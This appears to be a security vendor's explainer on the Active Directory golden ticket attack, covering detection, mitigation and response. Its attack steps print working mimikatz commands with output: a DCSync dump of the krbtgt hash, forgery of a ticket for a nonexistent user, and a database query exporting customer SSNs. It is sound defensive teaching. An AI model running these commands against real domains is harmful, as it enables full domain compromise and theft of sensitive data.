Golden Ticket

Golden Ticket

Like Willy Wonka’s chocolate factory, a golden ticket in Active Directory grants the bearer unlimited access. The security of the Kerberos protocol is rooted in the use of shared secrets to encrypt and sign messages. Some of these secrets are known to the trusted third-party (the Key Distribution Center (KDC) in Kerberos) and clients, but one in particular is known only to the KDC: the secret to the krbtgt user, whose password hash is used to sign or encrypt Kerberos tickets issued by the KDC. In other words, compromising the krbtgt hash allows an adversary to behave as if they were Active Directory!

Once an adversary has compromised the krbtgt hash, they possess the golden ticket. Using it, they can mint Kerberos tickets as if they were Active Directory itself, such as: issuing tickets for users that don’t exist, adding users to groups in which they don’t belong, or issuing tickets with lifetimes far beyond the configured maximum. In effect, the adversary is Active Directory and can access any resource they choose. This capability is both extremely powerful and difficult to detect.

Threat Summary

Target:

Active Directory

Tools:

ATT&CK® Tactic:

ATT&CK Technique:

Difficulty

Detect:

Hard

Mitigate:

Medium

Respond:

Hard

How Golden Ticket Works

Hover to see each step

Step 1: There are a number of methods through which an adversary can compromise the password hash of the krbtgt user. All of them require that the adversary have discovered and compromised some kind of administrative privilege in Active Directory, whether that’s replication privileges or Administrators access to a domain controller. DCSync is an effective technique commonly used by adversaries for this purpose.

PS> mimikatz.exe "lsadump::dcsync /user:DOMAIN\KRBTGT"
 
mimikatz(commandline) # lsadump::dcsync /user:DOMAIN\Krbtgt
[DC] 'DOMAIN.com' will be the domain # The Domain DNS Name
[DC] 'DC1.DOMAIN.com' will be the DC server
[DC] 'DOMAIN\Krbtgt' will be the user account
 
Object RDN           : krbtgt
 
** SAM ACCOUNT **
 
SAM Username         : krbtgt
User Principal Name  : krbtgt@DOMAIN.com
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 09/03/2020 14:51:03
Object Security ID   : S-1-5-21-5840559-2756745051-1363507867-502 # The SID of KRBTGT Account
Object Relative ID   : 502
 
Credentials:
  Hash NTLM: 1b8cee51fd49e55e8c9c9004a4acc159  # NTLM Hash
 
#...
* Primary:Kerberos-Newer-Keys *
    Default Salt : PROD.COMkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 # AES256 Hash
      aes128_hmac       (4096) : 471644de05c4834cc6cbc06896210e7d # AES128 Hash
#...

Step 2: After compromising the krbtgt password hash, an attacker uses a tool like mimikatz or Impacket to forge Kerberos tickets. In this example, the adversary is going to use their golden ticket to create a Kerberos ticket-granting ticket (TGT) for a user that doesn’t actually exist in the directory. Because the root of trust in Kerberos is the krbtgt password hash, this TGT is considered fully valid.

To use the golden ticket to mint the TGT, the adversary must specify certain information to mimikatz kerberos::golden:

  • /domain: the FQDN of the domain
  • /sid: the SID of the domain
  • /aes256: AES-256 password hash of the krbtgt user (/ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
  • /user: the username that will be impersonated
  • /groups: the list of groups (by RID) to include in the ticket, with the first being the user’s primary group
  • /ptt: indicates that the forged ticket should be injected into the current session instead of being written to file
PS> mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /groups:513,2668 /ptt"
 
mimikatz(commandline) # kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /ticket:GoldenTicket.kirbi /ptt
User      : NonExistentUser
Domain    : domain.com (DOMAIN)
SID       : S-1-5-21-5840559-2756745051-1363507867
User Id   : 500
Groups Id : *513 2668
ServiceKey: ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 - aes256_hmac
Lifetime  : 19/07/2020 22:31:00 ; 17/07/2030 22:31:00 ; 17/07/2030 22:31:00
-> Ticket : ** Pass The Ticket **
 
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
 
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session

Step 3: Lastly, the attacker can use the forged ticket to access Kerberos-integrated resources. Because the forgery is signed and encrypted with the real krbtgt password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

Furthermore, as the adversary discovers more about the environment, they can continue to mint tickets with specific group memberships to obtain privileges within any application, database, etc. that uses Active Directory for authentication and authorization.

In this example, the adversary forged a Kerberos ticket including the group RID 2668. The RID corresponds to a group they discovered performing internal reconnaissance called “MSSQL Administrators,” which they concluded might grant them access to sensitive databases. Using the Kerberos ticket injected in their session, they are able to successfully use their forged ticket and Windows Integrated authentication to connect to a database to export sensitive data.

PS> mssql-cli --server dbserver --integrated --query 'SELECT SYSTEM_USER; SELECT * FROM [SensitiveApp].[dbo].[Customers]'
+--------------------------+
| (No column name)         |
|--------------------------|
| DOMAIN\NonExistentUser   |
+--------------------------+
(1 row affected)
+--------------+-------------+-----------+-------------+
| customerId   | givenName   | surname   | ssn         |
|--------------+-------------+-----------+-------------|
| 1            | Bob         | Smith     | 000-00-0001 |
| 2            | Jane        | Doe       | 000-00-0002 |
| 3            | Kyle        | Jones     | 000-00-0003 |
| 4            | Amy         | Allen     | 000-00-0004 |
+--------------+-------------+-----------+-------------+
(4 rows affected)
PS>

Detect, Mitigate, and Respond

Difficulty: Hard

Like detecting other kinds of forgeries, detecting the use of a golden ticket requires analyzing Kerberos tickets for the subtle marks of manipulation. Signs and symptoms of a golden ticket include tickets with: usernames that don’t exist; modified group memberships (added or removed); username and RID mismatches; weaker-than-normal encryption types (e.g. RC4 used instead of AES-256); or, ticket lifetimes exceeding the domain maximum (domain default lifetime is 10 hours; mimikatz default is 10 years.)

The following Windows events can be collected and analyzed to detect possible golden ticket use:

Event Source Information
Audit Kerberos Service Ticket Operations: Event ID 4769 Domain Controllers
  • Ticket Encryption Type
  • Username
Audit Group Membership: Event ID 4627 Domain Controllers, Member Computers
  • User’s Security Identifier (SID)
  • Group Memberships
Audit Logon: Event ID 4624 Domain Controllers, Member Computers
  • User’s Security Identifier (SID)
  • Username Source IP (indicating potentially compromised host)

Difficulty: Medium

Golden tickets abuse the very foundation of trust and security in Active Directory – the password hash of the krbtgt user. Mitigation should thus focus on those activities that make it harder for adversaries to compromise privileged access to Active Directory.

  • Do not allow users to possess administrative privileges across security boundaries. For example, an adversary who initially compromises a workstation should not be able to escalate privileges to move from the workstation to a server or domain controller. Eliminating these pathways to privilege escalation is essential.
  • Reduce and eliminate sensitive privileges. For example, many organizations have service accounts with “Domain Admins” privileges. If that service account is compromised, an adversary has everything they need to extract the krbtgt hash.
  • Change the password for the krbtgt user on a regular schedule, and after any changes in personnel responsible for Active Directory administration. Since both the current and previous password of the krbtgt user are used by the KDC to validate Kerberos tickets, the password must be changed twice, approximately 12-24 hours apart to prevent potential service disruptions.

Difficulty: Hard

An adversary with a golden ticket is one of the more difficult things to respond to and recover from. It can take weeks of planning and effort to complete all of the activities necessary to ensure a) you fully eradicate the attacker’s presence and persistence mechanisms, and b) make the necessary changes to ensure they cannot reuse the prior attack path to regain access.

  • Activate the incident response process and alert the incident response team.